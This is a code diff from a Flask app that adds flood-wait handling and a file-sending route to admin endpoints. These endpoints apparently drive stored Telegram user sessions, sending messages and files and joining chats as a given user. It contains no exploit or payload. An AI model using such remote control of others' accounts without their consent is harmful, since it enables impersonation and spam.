1165
  messages.append(msg_data)
1166
  except Exception as e:
1167
  return None, str(e)
 
1185
  target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
1186
  await client.send_message(target_entity, message_content)
1187
  return {'success': True, 'message': 'Message sent.'}
1188
+ except FloodWaitError as e:
1189
+ return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1190
  except Exception as e:
1191
  return {'success': False, 'message': str(e)}
1192
  finally:
1193
  if client and client.is_connected(): await client.disconnect()
1194
  return jsonify(asyncio.run(_send_message_async()))
1195
 
1196
+ @app.route('/admhosto/send_file/<int:user_id>', methods=['POST'])
1197
+ def admhosto_send_file(user_id):
1198
+ chat_id = request.form.get('chat_id')
1199
+ caption = request.form.get('caption', '')
1200
+
1201
+ if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400
1202
+ if 'file' not in request.files:
1203
+ return jsonify({'success': False, 'message': 'No file part in the request.'}), 400
1204
+ file = request.files['file']
1205
+ if file.filename == '':
1206
+ return jsonify({'success': False, 'message': 'No selected file.'}), 400
1207
+
1208
+ async def _send_file_async():
1209
+ client, error = await get_user_client(user_id)
1210
+ if error: return {'success': False, 'message': error}
1211
+ try:
1212
+ target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
1213
+ await client.send_file(target_entity, file.stream, caption=caption, force_document=True)
1214
+ return {'success': True, 'message': 'File sent.'}
1215
+ except FloodWaitError as e:
1216
+ return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1217
+ except Exception as e:
1218
+ return {'success': False, 'message': str(e)}
1219
+ finally:
1220
+ if client and client.is_connected(): await client.disconnect()
1221
+
1222
+ return jsonify(asyncio.run(_send_file_async()))
1223
+
1224
  @app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
1225
  def admhosto_join_chat(user_id):
1226
  data = request.json
 
1235
  else:
1236
  await client(JoinChannelRequest(chat_identifier))
1237
  return {'success': True, 'message': 'Successfully joined.'}
1238
+ except FloodWaitError as e:
1239
+ return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1240
  except Exception as e:
1241
  return {'success': False, 'message': f'Error joining: {e}'}
1242
  finally: